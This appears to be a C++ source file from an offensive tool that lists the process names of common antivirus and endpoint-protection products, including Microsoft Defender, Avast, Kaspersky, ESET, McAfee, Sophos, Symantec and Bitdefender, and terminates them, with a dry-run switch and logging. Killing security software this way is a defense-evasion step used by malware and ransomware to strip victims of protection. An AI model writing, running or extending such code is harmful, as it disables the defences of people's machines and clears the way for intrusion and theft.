#include "Common.h"
#include "AvKill.h"
#include "KillSafety.h"
#include "Logger.h"

#include <string>
#include <vector>

static const wchar_t* kAvImages[] =
{
    L"MsMpEng.exe",
    L"NisSrv.exe",
    L"MpCmdRun.exe",
    L"avast.exe",
    L"AvastUI.exe",
    L"AvastSvc.exe",
    L"avguard.exe",
    L"avgnt.exe",
    L"AvgSvc.exe",
    L"avp.exe",
    L"klnagent.exe",
    L"klheads.exe",
    L"kxetray.exe",
    L"ekrn.exe",
    L"ESETSvc.exe",
    L"mcshield.exe",
    L"mfemms.exe",
    L"sophosclean.exe",
    L"SAVService.exe",
    L"ccSvcHst.exe",
    L"smc.exe",
    L"bdagent.exe",
    L"vsserv.exe",
};

static std::vector<std::wstring> AvImageList()
{
    std::vector<std::wstring> v;

    for (const wchar_t* n : kAvImages)
        v.emplace_back(n);

    return v;
}

bool KillAVProcesses()
{
    KillReport report;

    // Env switch lets you watch the decision path without terminating anything.
    wchar_t dry[8]{};
    DWORD n = GetEnvironmentVariableW(L"ARDRV_KILL_DRYRUN", dry, _countof(dry));
    const bool dryRun = n > 0 && (dry[0] == L'1' || dry[0] == L'y' || dry[0] == L'Y');

    KillProcessesSafe(AvImageList(), dryRun, 16, report, true);

    Log(L"[+] AV kill: %s", report.Format().c_str());

    wprintf(L"[killav] %s\n", report.Format().c_str());
    return true;
}

bool KillAVProcessesEx(bool dryRun, std::wstring& summary)
{
    KillReport report;

    KillProcessesSafe(AvImageList(), dryRun, 16, report, true);

    summary = report.Format();

    Log(L"[+] AV kill: %s", summary.c_str());
    return report.killed > 0;
}